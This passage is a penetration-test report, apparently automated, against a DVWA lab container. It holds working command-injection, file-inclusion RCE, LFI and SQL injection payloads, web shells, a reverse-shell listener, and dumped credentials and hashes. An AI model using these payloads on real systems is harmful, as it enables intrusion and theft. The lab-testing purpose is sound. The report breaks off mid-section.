MySQL NSE note	`mysql-vuln-cve2012-2122` NSE script failed; no confirmation for `CVE-2012-2122`
Invalidated vulnerability claims not reported as findings	End-of-Life PHP Version; MySQL Remote Denial of Service via Integer Overflow; MySQL `5.5.54` Denial-of-Service Vulnerability; Outdated OpenSSL vulnerable to `CVE-2016-2183`; Outdated Apache HTTP Server

3. WEB ASSETS

Discovered Subdomains

SUBDOMAIN / HOSTNAME	RESULT	NOTES
No subdomains discovered	No additional subdomains or related IPs discovered	Vhost scan using `subdomains-5k.txt` found no virtual hosts

Public Pages & Endpoints

URL / PATH	STATUS / BEHAVIOR	AUTHENTICATION	TECHNICAL DETAILS / NOTES
`http://172.17.0.3/`	HTTP `302`	Unauthenticated redirect	Redirects to `/login.php`; `PHPSESSID` observed; cookie missing security attributes

URL / PATH	STATUS / BEHAVIOR	AUTHENTICATION	TECHNICAL DETAILS / NOTES
`http://172.17.0.3/index.php`	Redirects to `/login.php`	Unauthenticated redirect	DVWA default login matched by nuclei template `dvwa-default-login`
`http://172.17.0.3/login.php`	`200 OK`	Public login form	Valid credentials observed: `admin:password` ; login requires hidden CSRF field `user_token`
`http://172.17.0.3/setup.php`	`200 OK`	Publicly accessible during testing	DVWA setup/database reset UI; exposes `Create / Reset Database` ; database backend `MySQL` ; database name `dvwa` ; sets `security=low` ; unauthenticated CSRF database reset independently verified; HTTP method bypass on setup endpoint independently verified
`http://172.17.0.3/about.php`	`200 OK`	Not specified	Confirms DVWA `v1.10 *Development*`
`http://172.17.0.3/instructions.php`	`200 OK`	Not specified	Application documentation exposed
`http://172.17.0.3/robots.txt`	`200 OK`	Public	Contains `User-agent: * Disallow: /` ; site-wide disallow rule disclosed
`http://172.17.0.3/CHANGELOG.md`	`200 OK` ; `7296` bytes	Public	Application documentation/change history exposed
`http://172.17.0.3/README.md`	`200 OK` ; `7805` bytes	Public	Application documentation exposed
`http://172.17.0.3/docs/`	Directory listing	Public	Directory listing enabled on documentation path
`http://172.17.0.3/docs/DVWA_v1.3.pdf`	Public	Public	DVWA documentation exposed
`http://172.17.0.3/docs/pdf.html`	Public	Public	Documentation helper page exposed

URL / PATH	STATUS / BEHAVIOR	AUTHENTICATION	TECHNICAL DETAILS / NOTES
`http://172.17.0.3/php.ini`	Public	Public	Exposes PHP settings: `magic_quotes_gpc = Off`, `allow_url_fopen on`, `allow_url_include on`; dangerous PHP settings independently verified
`http://172.17.0.3/phpinfo.php`	Redirects to `/login.php` when unauthenticated; accessible after login per summary	Authenticated	Authenticated `phpinfo.php` exposure independently verified
`http://172.17.0.3/security.php`	Redirects to `/login.php` when unauthenticated	Authenticated	DVWA security settings; client-side `security=low` cookie manipulation independently verified
`http://172.17.0.3/logout.php`	Redirects to `/login.php`	Authenticated/session endpoint	Logout does not delete client-side session cookie independently verified
`http://172.17.0.3/config/`	`301`; directory listing reported	Public	Sensitive configuration directory listing exposed; nuclei template `configuration-listing`; server shown as `apache/2.4.10 (debian)`
`http://172.17.0.3/config/config.inc.php`	`200`; empty response body observed	Public/Not specified	Summary notes default DB credentials `root:root@localhost`; exposed DVWA configuration with default database credentials independently verified
`http://172.17.0.3/external/`	Directory listing	Public	Directory listing enabled; server shown as `apache/2.4.10 (debian)`
`http://172.17.0.3/external/phpids/`	Directory listing	Public	PHPIDS path exposed; PHPIDS log viewer

URL / PATH	STATUS / BEHAVIOR	AUTHENTICATION	TECHNICAL DETAILS / NOTES
			accessible independently verified
`http://172.17.0.3/external/phpids/0.6/`	Exposed path	Public/Not specified	PHPIDS version path exposed
`http://172.17.0.3/external/recaptcha/recaptchalib.php`	`200` ; empty response body observed	Public/Not specified	reCAPTCHA library endpoint exposed
`http://172.17.0.3/dvwa/includes/dvwaPhpIds.inc.php`	`200` ; empty response body observed	Public/Not specified	DVWA include path exposed
`http://172.17.0.3/dvwa/includes/dvwaPage.inc.php`	`200` ; `45` bytes	Public/Not specified	DVWA include path exposed
`http://172.17.0.3/dvwa/css/login.css`	Public asset	Public	Login page CSS asset
`http://172.17.0.3/hackable/`	Directory listing	Public	Directory listing enabled
`http://172.17.0.3/hackable/users/`	Directory listing	Public	User enumeration via files: `admin.jpg` , `gordonb.jpg` , `pablo.jpg` , `smithy.jpg` , `1337.jpg` ; users enumerated: `admin` , `gordonb` , `pablo` , `smithy` , `1337`
`http://172.17.0.3/vulnerabilities/`	Directory listing	Authenticated context implied / exposed path observed	Source code exposure via directory listings independently verified
`http://172.17.0.3/vulnerabilities/sqli/`	`200 OK` in authenticated context	Authenticated	SQL Injection module; horizontal IDOR in SQL Injection module exposes other users' data independently verified; predictable sequential user IDs enable enumeration independently verified
`http://172.17.0.3/vulnerabilities/sqli_blind/`	Module accessible	Authenticated	Blind SQL Injection independently verified
`http://172.17.0.3/vulnerabilities/exec/`	`200 OK` in authenticated context	Authenticated	Command Injection independently verified
`http://172.17.0.3/vulnerabilities/csrf/`	`200 OK` ; authenticated page showed	Authenticated	CSRF independently verified; missing Referer and Origin

URL / PATH	STATUS / BEHAVIOR	AUTHENTICATION	TECHNICAL DETAILS / NOTES
	`Username: admin`, `Security Level: low`, `PHPIDS: disabled`		validation independently verified
`http://172.17.0.3/vulnerabilities/xss_r/`	`200 OK` in authenticated context	Authenticated	Reflected XSS independently verified
`http://172.17.0.3/vulnerabilities/xss_s/`	`200 OK` in authenticated context	Authenticated	Stored XSS independently verified
`http://172.17.0.3/vulnerabilities/upload/`	`200 OK` in authenticated context	Authenticated	Unrestricted file upload independently verified
`http://172.17.0.3/vulnerabilities/fi/`	Redirected to `/login.php` during one probe due to expired/invalid session	Authenticated	Local File Inclusion / Remote Code Execution in `fi` endpoint independently verified; supported by `allow_url_include=On` and `allow_url_fopen=On` in `/php.ini`
`http://172.17.0.3/vulnerabilities/brute/`	Module accessible	Authenticated	Brute Force Weakness independently verified
`http://172.17.0.3/vulnerabilities/captcha/`	Module accessible	Authenticated	Insecure CAPTCHA independently verified
`/.git/config`	`404`	N/A	Negative endpoint check
`/.env`	`404`	N/A	Negative endpoint check
`/api/`	`404`	N/A	Negative endpoint check
`/swagger.json`	`404`	N/A	Negative endpoint check
`/graphql`	`404`	N/A	Negative endpoint check
`/v1/`	`404`	N/A	Negative endpoint check
`/register.php`	`404`	N/A	Registration endpoint absent

URL / PATH	STATUS / BEHAVIOR	AUTHENTICATION	TECHNICAL DETAILS / NOTES
`/password_reset.php`	`404`	N/A	Password reset endpoint absent
`/reset.php`	`404`	N/A	Password reset endpoint absent
`/forgot_password.php`	`404`	N/A	Password recovery endpoint absent
`/forgot.php`	`404`	N/A	Password recovery endpoint absent
`/recover.php`	`404`	N/A	Password recovery endpoint absent
`/account/recover`	`404`	N/A	Account recovery endpoint absent
`/vulnerabilities/password_reset/`	`404`	N/A	Password reset module absent
`/users.php`	`404`	N/A	User profile/admin-style endpoint absent
`/profile.php`	`404`	N/A	User profile endpoint absent
`/account.php`	`404`	N/A	Account endpoint absent

Authentication and session observations:

ITEM	DETAILS
Login URL	`http://172.17.0.3/login.php`
Confirmed valid credential	`admin:password`
Additional observed DVWA credentials	`gordonb:abc123` , `pablo:letmein` , `smithy:password` , `1337:charley`
Login CSRF field	Hidden field `user_token`
Observed CSRF tokens	`user_token=7cd128719e9cf4a19e595999dc4b7dda` ; `user_token=28119d5564dc783153cee9e1aee55f0c` ; `bbe6d415137f45d4493e6233108aa640` ; `/setup.php` uses `user_token`
Observed session cookies	`PHPSESSID=cqsh11hk692o3e855tvlrjopj2` , `security=low` ; `PHPSESSID=0c5d2o9socvvvqpokuk749jpr3` , `security=low` ; `PHPSESSID=16ojf7atiaskoqao02r7ek9600` , `security=low`
Session issues independently verified	Session fixation on authentication; session cookies missing security attributes; duplicate `Set-Cookie` entries for `PHPSESSID` ; logout does not delete client-side session cookie; multiple concurrent sessions allowed; session garbage collection disabled
Access control issues independently	Vertical IDOR allows standard users to access admin endpoints; horizontal IDOR in SQL Injection module exposes other users' data; predictable sequential user IDs enable

ITEM	DETAILS
verified	enumeration

API Endpoints

ENDPOINT	STATUS / RESULT	NOTES
`/api/`	`404`	No API endpoint discovered
`/swagger.json`	`404`	No Swagger/OpenAPI document discovered
`/graphql`	`404`	No GraphQL endpoint discovered
`/v1/`	`404`	No versioned API endpoint discovered

JavaScript Assets

ASSET / FUNCTION / DEPENDENCY	DETAILS
`/dvwa/css/login.css`	CSS asset for the login page
DOM function `popUp()`	DOM XSS via `eval()` in `popUp()` function independently verified
`/external/recaptcha/recaptchalib.php`	reCAPTCHA PHP library exposed; related insecure CAPTCHA weakness independently verified
`/external/phpids/0.6/`	PHPIDS `0.6` path exposed
JavaScript files	No specific JavaScript file paths were provided in the raw reconnaissance data

4. SECURITY CONFIGURATION

SSL/TLS Certificate Details

CERTIFICATE ATTRIBUTE	VALUE
TLS/HTTPS availability	No SSL/TLS services detected on scanned ports `80` or `3306`
HTTPS observed	No HTTPS observed
Certificate subject	No data available for this section.
Certificate issuer	No data available for this section.
Validity period	No data available for this section.
SANs	No data available for this section.
TLS protocol/cipher details	No data available for this section.

HTTP Security Headers

HEADER / CONTROL	STATUS	OBSERVED DETAILS
`X-Frame-Options`	❌ Missing	Missing on port `80`

HEADER / CONTROL	STATUS	OBSERVED DETAILS
`X-Content-Type-Options`	❌ Missing	Missing on port `80`
`Content-Security-Policy`	❌ Missing	Missing on port `80`
`X-XSS-Protection`	❌ Missing	Missing on port `80`
`Strict-Transport-Security`	❌ Missing	Missing on port `80` ; no HTTPS observed
`Server`	Present	Discloses `Apache/2.4.10 (Debian)`
`Set-Cookie: PHPSESSID`	Present	`PHPSESSID` observed on `/` and `/login.php` ; missing `HttpOnly` ; session cookies missing security attributes independently verified
`Set-Cookie: security=low`	Present	DVWA security level controlled by client-side cookie; client-side security level cookie manipulation independently verified

Cookie/security attribute observations:

COOKIE / BEHAVIOR	DETAILS
`PHPSESSID` missing `HttpOnly`	Observed on `http://172.17.0.3/` and `http://172.17.0.3/login.php`
Session cookie security attributes	Missing security attributes independently verified
Duplicate `Set-Cookie` entries	Duplicate `Set-Cookie` entries for `PHPSESSID` independently verified
Logout behavior	Logout does not delete client-side session cookie independently verified
Multiple sessions	Multiple concurrent sessions allowed independently verified
Session fixation	Session fixation on authentication independently verified
Session garbage collection	Session garbage collection disabled independently verified
`security=low`	DVWA security level cookie observed; manipulation independently verified

Content Security Policy Analysis

CSP COMPONENT	STATUS	NOTES
`Content-Security-Policy` header	❌ Missing	No CSP was observed on port `80`
`default-src`	No data available	CSP absent
`script-src`	No data available	CSP absent; DOM XSS via `eval()` in `popUp()` function independently verified
`object-src`	No data available	CSP absent
`frame-ancestors`	No data available	CSP absent; `X-Frame-Options` also missing
`base-uri`	No data available	CSP absent

CSP COMPONENT	STATUS	NOTES
Overall CSP posture	Weak / not configured	Browser-side mitigation for XSS and framing attacks is not present based on observed headers

11 Target-by-Target Exploitation

http://172.17.0.3

Exploitation Details - http://172.17.0.3

Structured Exploitation Data — Target `http://172.17.0.3`

Target Context

- **Target URL:** `http://172.17.0.3`
- **Target IP:** `172.17.0.3`
- **Hostname/container ID:** `bb7137e88b06`
- **Application:** Damn Vulnerable Web Application `DVWA v1.10 Development`
- **OS:** Debian GNU/Linux 8 `jessie`
- **Kernel:** `Linux 6.12.5-linuxkit x86_64`
- **Web server:** Apache httpd `2.4.10 (Debian)`
- **PHP:** `5.6.30` , `5.6.30-0+deb8u1`
- **Database:** MySQL `5.5.54` , also inconsistently reported as `5.7` / `5.7.33`
- **Primary services:**
  - `80/tcp` HTTP Apache `2.4.10`
  - `3306/tcp` MySQL `5.5.54`
- **DVWA security level:** `low`
- **PHPIDS:** `disabled`
- **Current code execution user:** `www-data`
  - `uid=33(www-data) gid=33(www-data) groups=33(www-data)`
- **Network:**
  - Target interface: `eth0 = 172.17.0.3/16`
  - Attacker/listener IP observed: `172.17.0.2`
  - ICMP reachable, `0%` packet loss
- **Initial HTTP behavior:**
  - `GET /` → `302` redirect to `login.php`
  - `/login.php` → `200 OK`

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1. Successful Exploits

1.1 Valid DVWA Authentication Using Default/Weak Credentials

Status

Successful.

Endpoint

`http://172.17.0.3/login.php`

Method

`POST`

Parameters

```
username
password
Login
user_token
```

Successful credential

```
admin:password
```

Additional valid DVWA credentials found

```
admin:password@http://172.17.0.3/login.php
gordonb:abc123@http://172.17.0.3/login.php
pablo:letmein@http://172.17.0.3/login.php
smithy:password@http://172.17.0.3/login.php
1337:charley@http://172.17.0.3/login.php
```

Successful login behavior

```
POST /login.php
username=admin&password=password&Login=Login&user_token=<token>

HTTP/1.1 302 Found
Location: index.php
```

Evidence

- Authenticated context showed:
  - Logged in as `admin`
  - `Security Level: low`
  - `PHPIDS: disabled`
  - Banner: `You have logged in as 'admin'`
- Authenticated cookie examples:

```
PHPSESSID=55qfn60nlkvlp5fnhl5ie36307
PHPSESSID=8vsd1brlfeoooc8brk1i4iihp6
PHPSESSID=kc975j240qejp15s17m2rq3485
security=low
```

Observed login CSRF/user tokens

```
b843fccdf74c16c9dc3bf68b6b3f958b
0c7ba06267a55451e70ee05af93870e9
3c34bac1c7c38bc15675ab7858a61d2a
262317a038a0e8228b39ed874ac7ba36
4a6678fbaf9a9f945aa9ee44bf350b2e
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/admin_logged_in.png
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/gordonb_login_result.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/auth_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/creds/valid_creds.txt
```

1.2 Brute-forceable Login / No Rate Limiting

Status

Successful validation.

Endpoint

`POST http://172.17.0.3/login.php`

Details

- Login attempts can be automated by fetching a fresh `user_token` per attempt.
- `10` login attempts completed in `0.08s`.
- Approximate rate: `0.01s/attempt`.
- No lockout, throttling, or rate limiting observed.

Authentication response behavior

```
Valid login:   HTTP 302 Location: index.php
Invalid login: HTTP 302 Location: login.php
POST body:     Content-Length: 0
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/credential_attack/brute_force_results.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/creds/users.txt
./output/cold-matrix-moves/172.17.0.3-111/enumeration/user_enum/valid_users.txt
```

1.3 Authenticated OS Command Injection / RCE

Status

Successful.

Severity

Critical.

Endpoint

`http://172.17.0.3/vulnerabilities/exec/`

Method

`POST`

Vulnerable parameter

```
ip
```

Required parameters

```
ip=<payload>
Submit=Submit
user_token=<token>
```

Required context

- Authenticated DVWA session.
- Confirmed with `admin:password`.
- DVWA security level: `low`.
- PHPIDS: `disabled`.

Successful payloads

```
127.0.0.1; id
127.0.0.1 | id
127.0.0.1 && whoami
invalid || whoami
127.0.0.1%3Bwhoami
127.0.0.1;whoami
127.0.0.1; whoami; id; pwd
ip=127.0.0.1;whoami&Submit=Submit&user_token=<token>
ip=127.0.0.1; <cmd>
```

Successful separators/operators

```
;
|
&&
||
backticks
$()
URL-encoded semicolon: %3B
```

Blind/time-based confirmation

```
sleep 3
backticks with sleep 3
$() with sleep 3
```

Confirmed command output

```
whoami -> www-data
id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname -> bb7137e88b06
uname/kernel -> Linux 6.12.5-linuxkit x86_64
pwd -> /var/www/html/vulnerabilities/exec
```

File read via command injection

```
cat /etc/passwd
```

Execution context

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/cmdi_exec_semicolon_id.txt
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/cmdi_exec_pipe_id.txt
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/cmdi_exec_semicolon_whoami.txt
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/cmdi_exec_semicolon_uname.txt
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/cmdi_exec_semicolon_cat_passwd.txt
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/cmdi_blind_injection_timing.txt
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/cmdi_all_separators.txt
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/commix/commix_output.txt
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/cmdi_semicolon_id.png
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/auth_and_cmdi_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/exploit_execution/exploitation_evidence.txt
command_injection_poc.py
command_injection_evidence.txt
```

1.4 Persistent PHP Web Shell via File Upload

Status

Successful.

Severity

Critical.

Endpoint

`http://172.17.0.3/vulnerabilities/upload/`

Upload field

```
uploaded
```

Submit field

```
Upload=Upload
```

Uploaded shell URL

```
http://172.17.0.3/hackable/uploads/webshell.php?cmd=COMMAND
```

Filesystem path

```
/var/www/html/hackable/uploads/webshell.php
/hackable/uploads/webshell.php
```

Confirmed command

```
whoami
```

Confirmed output

```
www-data
```

Other web shell/upload artifacts discovered

```
/var/www/html/hackable/uploads/shell.php
/var/www/html/hackable/uploads/rshell.php
/var/www/html/hackable/uploads/webshell.php
/var/www/html/hackable/uploads/sqli_shell.php
/var/www/html/hackable/uploads/rev.php
/var/www/html/hackable/uploads/rshell2.php
/var/www/html/hackable/uploads/mysql_check.php
/var/www/html/hackable/uploads/enum.sh
/var/www/html/hackable/uploads/linpeas_output.txt
```

Web shell status

- Existing PHP web shell confirmed at:

```
http://172.17.0.3/hackable/uploads/webshell.php?cmd=
```

- Command execution as:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/shells/webshell_session.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/webshell_test.txt
~tmp/webshell.php
~tmp/rshell.php
~tmp/rshell2.php
~tmp/rshell_final.txt
~tmp/listener_output.txt
~tmp/shell_session.txt
~tmp/reverse_shell_output.txt
```

1.5 Reverse Shell Activity

Status

Partially successful / observed.

Listener

```
172.17.0.2:4444
```

Source connection

```
172.17.0.3:39818
```

Additional failed connection source

```
172.17.0.3:51636
```

Related uploaded files

```
/var/www/html/hackable/uploads/rshell.php
/var/www/html/hackable/uploads/rshell2.php
/var/www/html/hackable/uploads/rev.php
```

Evidence

```
~tmp/rshell_final.txt
~tmp/listener_output.txt
~tmp/reverse_shell_output.txt
```

1.6 File Inclusion RCE via `php://input`

Status

Successful.

Severity

Critical.

Endpoint

```
POST http://172.17.0.3/vulnerabilities/fi/?page=php://input
```

Vulnerable parameter

```
page
```

Payload

```
<?php system('id'); ?>
```

Evidence output

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/rce_php_input_evidence.txt
```

1.7 File Inclusion RCE via `data://` Wrapper

Status

Successful.

Severity

Critical.

Endpoint

```
GET http://172.17.0.3/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
```

Decoded payload

```
<?php system('id');?>
```

Evidence output

```
uid=33(www-data)
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/rce_data_wrapper_evidence.txt
```

1.8 Local File Inclusion / Arbitrary File Read

Status

Successful.

Severity

High.

Endpoint

```
http://172.17.0.3/vulnerabilities/fi/?page=
```

Vulnerable parameter

```
page
```

Successful payloads

```
page=/etc/passwd
page=file:///etc/passwd
page=/etc/hosts
page=file:///proc/self/cmdline
```

Confirmed file disclosure

`/etc/passwd`

Payload:

```
GET /vulnerabilities/fi/?page=/etc/passwd
GET /vulnerabilities/fi/?page=file:///etc/passwd
```

Evidence:

```
root:x:0:0:root:/root:/bin/bash
```

`/etc/hosts`

Payload:

```
GET /vulnerabilities/fi/?page=/etc/hosts
```

Evidence:

```
172.17.0.3 bb7137e88b06
```

`/proc/self/cmdline`

Payload:

```
GET /vulnerabilities/fi/?page=file:///proc/self/cmdline
```

Evidence:

```
/usr/sbin/apache2 start
/usr/sbin/apache2 -k start
```

Additional files tested/read

```
/etc/hosts
/proc/self/cmdline
/var/www/html/.htaccess
/etc/mysql/my.cnf
/var/www/html/config/config.inc.php
/etc/shadow
```

`/etc/shadow`

- Access denied or no useful output.

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/lfi_etc_passwd_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/lfi_etc_passwd.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/etc_passwd.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/etc_shadow.txt
```

1.9 Remote File Inclusion

Status

Successful.

Severity

Critical.

Endpoint

```
GET http://172.17.0.3/vulnerabilities/fi/?page=http://example.com/
```

Evidence

- Remote Example Domain HTML was included successfully.

Enabling PHP settings

```
allow_url_include=On
allow_url_fopen=On
```

Evidence files

```
lfi_rfi_poc.py
lfi_rfi_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/fi_page.png
```

1.10 Source Disclosure via PHP Filter Wrapper

Status

Successful.

Severity

High.

Endpoint

```
http://172.17.0.3/vulnerabilities/fi/?page=
```

Payloads

```
page=php://filter/convert.base64-encode/resource=include.php
page=php://filter/convert.base64-encode/resource=../../config/config.inc.php
page=php://filter/convert.base64-encode/resource=config
```

Disclosed sensitive configuration

```
/var/www/html/config/config.inc.php
/var/www/html/dvwa/config/config.inc.php
```

Extracted database details

```
DB host: 127.0.0.1
DB name: dvwa
```

```
DB user/pass: root:p@ssw0rd
security level: low
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/source_config_inc_php.txt
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/db_credentials.txt
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/php_filter_config_raw.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/dvwa_config.txt
```

1.11 SSRF via File Inclusion Parameter

Status

Successful.

Severity

High/Critical depending on impact.

Endpoint

```
http://172.17.0.3/vulnerabilities/fi/?page=
```

Vulnerable parameter

```
page
```

Successful SSRF payloads

```
page=http://127.0.0.1:80/
page=http://localhost/
```

Evidence

- `page=http://127.0.0.1:80/` returned internal DVWA login page.
- SSRFMap confirmed arbitrary file reads.
- SSRFMap port scan confirmed:

```
127.0.0.1:80 open
```

Internal port scan notes

```
127.0.0.1:80 open, Apache reachable
127.0.0.1:3306 tested, no HTTP response observed
```

Metadata probe

```
http://169.254.169.254/latest/meta-data/
```

Result:

```
Timed out / unreachable from Docker target
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/ssrf/
./output/cold-matrix-moves/172.17.0.3-111/web/ssrf/ssrfmap_request.txt
./output/cold-matrix-moves/172.17.0.3-111/web/ssrf/fi_vulnerability_page.png
ssrf_confirmed_vulnerabilities.txt
```

SSRFMap request contents

```
GET /vulnerabilities/fi/?page=http://example.com HTTP/1.1
Host: 172.17.0.3
```

Operational impact observed

- Later aggressive SSRF/portscan testing caused `172.17.0.3:80` to begin timing out while ICMP still worked.
- This suggested Apache overload or connection exhaustion.

1.12 SQL Injection — Standard Endpoint

Status

Successful.

Severity

Critical.

Endpoint

```
http://172.17.0.3/vulnerabilities/sqli/?id=<input>&Submit=Submit
```

Method

`GET`

Vulnerable parameter

```
id
```

DBMS

```
MySQL 5.5.54
MySQL >= 5.0
```

Confirmed techniques

```
Boolean-based blind
Error-based MySQL FLOOR(RAND())
Time-based blind SLEEP(5)
UNION query
```

UNION details

```
UNION columns: 2
ORDER BY 1 succeeded
ORDER BY 2 succeeded
ORDER BY 3 failed
Example UNION pattern: UNION ALL SELECT NULL,CONCAT(...)
```

Evidence payloads

```
id=1
id=1' OR '1'='1
id=1'%20--
```

Evidence result

Payload:

```
id=1'%20--
```

Triggered MySQL syntax error:

```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version... near ''' at line 1
```

Baseline/changed response behavior

```
Standard SQLi baseline: id=1 returned 200 OK
Standard SQLi payload id=1' OR '1'='1 returned 200 OK
Altered response size: 1500 vs baseline 1442
```

Impact

- Full database read.
- Direct extraction via UNION.
- `dvwa.users` dumped.

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/sql_injection/sqli_standard_error_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/web/sql_injection/sqlmap/sqlmap_sqli_standard.txt
./output/cold-matrix-moves/172.17.0.3-111/web/sql_injection/extracted_credentials.txt
sqli_poc.py
sqli_evidence.txt
```

1.13 Blind SQL Injection

Status

Successful.

Severity

Critical.

Endpoint

```
http://172.17.0.3/vulnerabilities/sqli_blind/?id=<input>&Submit=Submit
```

Method

`GET`

Vulnerable parameter

```
id
```

DBMS

```
MySQL 5.5.54
```

Confirmed techniques

```
Boolean-based blind
Time-based blind
```

Impact

- Full blind extraction.
- `dvwa.users` dumped.

Evidence notes

```
Blind SQLi baseline: id=1 returned 200 OK
Blind SQLi test id=1'%20-- returned 404 Not Found
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/sql_injection/sqli_blind_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/web/sql_injection/sqlmap/sqlmap_sqli_blind.txt
```

1.14 Database Enumeration and Credential Extraction

Status

Successful.

Databases

```
dvwa
information_schema
mysql
performance_schema
```

Tables

```
dvwa.users
dvwa.guestbook
```

```
mysql.user
mysql.db
mysql.host
mysql.plugin
mysql.general_log
mysql.slow_log
information_schema: 40 metadata tables
performance_schema: 17 performance tables
```

Extracted `dvwa.users`

```
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

Recovered/listed plaintext credentials

```
admin:password
gordonb:abc123
pablo:letmein
smithy:password
1337:charley
```

Extracted `dvwa.guestbook`

```
1 test comment
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/mysql_databases.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/dvwa_users.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/dvwa_users_mysql.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/mysql_users.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/mysql_users_table.txt
```

1.15 MySQL Root Access

Status

Successful.

Severity

Critical.

Credentials

```
root:p@ssw0rd@mysql://127.0.0.1:3306
root:p@ssw0rd@mysql://127.0.0.1:3306/dvwa
```

```
root:p@ssw0rd@mysql://172.17.0.3:3306
root:p@ssw0rd@MySQL
```

Source of credentials

```
/var/www/html/config/config.inc.php
/var/www/html/dvwa/config/config.inc.php
```

MySQL bind reports

Conflicting observations preserved:

```
bind-address 127.0.0.1
bind-address 0.0.0.0
root@% present
```

MySQL users observed

```
root@localhost
root@127.0.0.1
root@%
debian-sys-maint@localhost
```

Hashdump via Metasploit

Tool:

```
auxiliary/scanner/mysql/mysql_hashdump
```

Extracted hashes:

```
root:*D7E39C3AF517EC9EF7086223B036E0B4F22821F8
debian-sys-maint:*AB05E804D3FCF1FFD182AB04CF0D042D25F84E05
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/metasploit_exploit/msf_mysql_hashdump_output.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/mysql_users_table.txt
```

1.16 MySQL `INTO OUTFILE` Web Shell Write

Status

Successful.

Severity

Critical.

Technique

MySQL arbitrary file write using `INTO OUTFILE`.

Written file

```
/var/www/html/hackable/uploads/sqli_shell.php
```

Ownership

```
mysql:mysql
```

Tested commands

```
?cmd=id
?cmd=whoami
```

Evidence

- Artifact `sqli_shell.php` exists.
- Considered viable and confirmed as MySQL file-write based web shell activity.

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/loot/
./output/cold-matrix-moves/172.17.0.3-111/post_exploit/persistence/persistence_report.md
```

1.17 Horizontal IDOR / Broken Object-Level Authorization

Status

Successful.

Severity

High.

Endpoint

```
http://172.17.0.3/vulnerabilities/sqli/?id=<USER_ID>&Submit=Submit
```

Vulnerable parameter

```
id
```

Evidence request

```
GET /vulnerabilities/sqli/?id=1&Submit=Submit
```

Evidence response

```
ID: 1
First name: admin
Surname: admin
```

Low-privileged users confirmed able to access admin record

```
pablo
smithy
1337
gordonb
```

Admin session/user enumeration results

```
ID 1: admin admin
ID 2: Gordon Brown
ID 3: Hack Me
ID 4: Pablo Picasso
ID 5: Bob Smith
ID 999: No data found
```

`gordonb` **access-confirmed records**

```
ID=1: admin admin
ID=3: Hack Me
ID=4: Pablo Picasso
ID=5: Bob Smith
```

Predictable sequential IDs

```
1=admin
2=gordonb
3=1337
4=pablo
5=smithy
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/idor_admin_data.png
./output/cold-matrix-moves/172.17.0.3-111/web/idor_testing/idor_sqli_poc.txt
./output/cold-matrix-moves/172.17.0.3-111/web/idor_testing/idor_findings_complete.txt
```

1.18 Vertical IDOR / Missing Function-Level Access Control / RBAC Failure

Status

Successful.

Severity

High.

Details

Standard authenticated users can access privileged/admin-sensitive pages.

Affected paths

```
/setup.php
/security.php
```

```
/phpinfo.php
/index.php
```

Confirmed with standard user

```
gordonb
```

Confirmed accessible URLs

```
http://172.17.0.3/setup.php
http://172.17.0.3/security.php
http://172.17.0.3/phpinfo.php
http://172.17.0.3/index.php
```

Evidence files

```
